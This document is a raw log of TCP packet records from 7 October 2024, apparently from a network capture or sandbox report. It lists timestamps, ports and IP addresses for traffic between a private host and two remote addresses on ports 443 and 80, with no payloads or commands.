Oct 7, 2024 18:00:55.305768013 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.305847883 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.305973053 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.305980921 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.336705923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:55.336815119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:55.586596012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:55.822197914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:55.954081059 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.954587936 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.954598904 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.954999924 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.955004930 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.036004066 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.036473036 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.036503077 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.036941051 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.036952972 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.086096048 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.086517096 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.086534977 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.086949110 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.086954117 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.121325970 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.121798038 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.121809006 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.122289896 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.122294903 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.134090900 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.134613037 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.134627104 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.135174990 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.135179996 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.183496952 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.184551001 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.184621096 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.184639931 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.184710979 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.184777975 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.184797049 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.184811115 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.184815884 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.187665939 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.187743902 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.187829018 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.187994003 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.188029051 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.222151041 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.222223043 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.222450018 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.222476006 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.222490072 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.222500086 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.222505093 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.225101948 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.225136042 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.225203991 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.225332975 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.225342035 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.226784945 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.227737904 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.227793932 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.227829933 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.227853060 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.227864981 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.227873087 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.230060101 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230082989 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.230153084 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230310917 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230324030 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.230370045 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.230444908 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.230582952 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230582952 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230604887 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.230616093 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232533932 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232563019 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232626915 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232636929 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232665062 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232707977 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232757092 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232806921 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232822895 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232822895 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232827902 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.232851028 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.232856035 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.234909058 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.234942913 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.235150099 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.235323906 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.235332966 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.575999975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:56.576014042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:56.576057911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:56.576642036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:56.576962948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:56.578372002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:56.588826895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:56.813823938 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.814421892 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.814443111 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.814908981 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.814913988 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.843826056 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.844336033 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.844347000 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.844885111 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.844892025 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.849911928 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.850330114 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.850339890 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.850766897 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.850770950 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.902424097 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.902921915 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.902947903 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.903441906 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.903450966 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.911797047 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.912439108 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.912452936 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.913000107 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.913013935 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.918847084 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.918999910 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.919294119 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.919568062 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.919598103 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.919608116 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.919615030 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.923494101 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.923532009 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.923918962 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.924134970 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.924146891 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.942554951 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.942648888 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.942715883 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.942879915 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.942892075 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.942900896 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.942904949 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.945307970 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.945317030 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.945399046 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.945569992 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.945581913 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.954319000 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.954718113 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.954761982 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.954771042 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.954807997 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.954858065 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.954868078 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.954889059 CEST	49938	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.954894066 CEST	443	49938	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.957103014 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.957134008 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:56.957214117 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.957546949 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:56.957559109 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.013758898 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.013832092 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.014030933 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.014117956 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.014133930 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.014143944 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.014148951 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.016494036 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.016526937 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.016654968 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.016762018 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.016777992 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.029376984 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.029454947 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.029618025 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.029797077 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.029797077 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.029817104 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.029825926 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.032149076 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.032202005 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.032295942 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.032414913 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.032423973 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.245770931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.246541023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.246722937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.265255928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.270299911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.628693104 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.631859064 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.631879091 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.632359982 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.632368088 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.642772913 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.643821955 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.643836975 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.644238949 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.644243956 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.676886082 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.679831028 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.679845095 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.680144072 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.680147886 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.721633911 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.722287893 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.722306013 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.722596884 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.722600937 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.724754095 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.725836992 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.725929022 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.725970984 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.725985050 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.725992918 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.725999117 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.728713989 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.728728056 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.728787899 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.728946924 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.728955984 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739509106 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739586115 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739650965 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.739659071 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739703894 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739754915 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.739869118 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.739872932 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.739881039 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.739885092 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.741641045 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.741868019 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.741894007 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.742132902 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.742141962 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.742166996 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.742587090 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.742590904 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.743185043 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.743199110 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.774174929 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.774676085 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.774719954 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.774740934 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.774786949 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.774878025 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.774894953 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.774915934 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.774921894 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.777374983 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.777446032 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.777524948 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.777667046 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.777700901 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.828177929 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.828250885 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.828363895 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.828552961 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.828552961 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.828571081 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.828583956 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.831259966 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.831305981 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.831415892 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.831614017 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.831630945 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.841470957 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.841970921 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.842031002 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.842080116 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.842096090 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.844661951 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.844711065 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.844784021 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.844939947 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:57.844953060 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:57.870687008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.870781898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.915283918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.915416956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.920447111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920461893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920470953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920557976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.920629978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920640945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920649052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920695066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.920734882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.920762062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920772076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920779943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920789003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920795918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920804977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920814037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.920840025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.920892000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.921646118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.921657085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.921665907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.921674967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.921750069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.926703930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.926809072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.926964045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927025080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.927074909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927130938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.927325010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927335024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927423000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.927783012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927793026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927800894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927809954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927818060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927825928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927834034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927840948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927849054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927850008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.927856922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927866936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927875996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927886009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927894115 CEST	80	49831	95.164.90.97	192.168.2.5
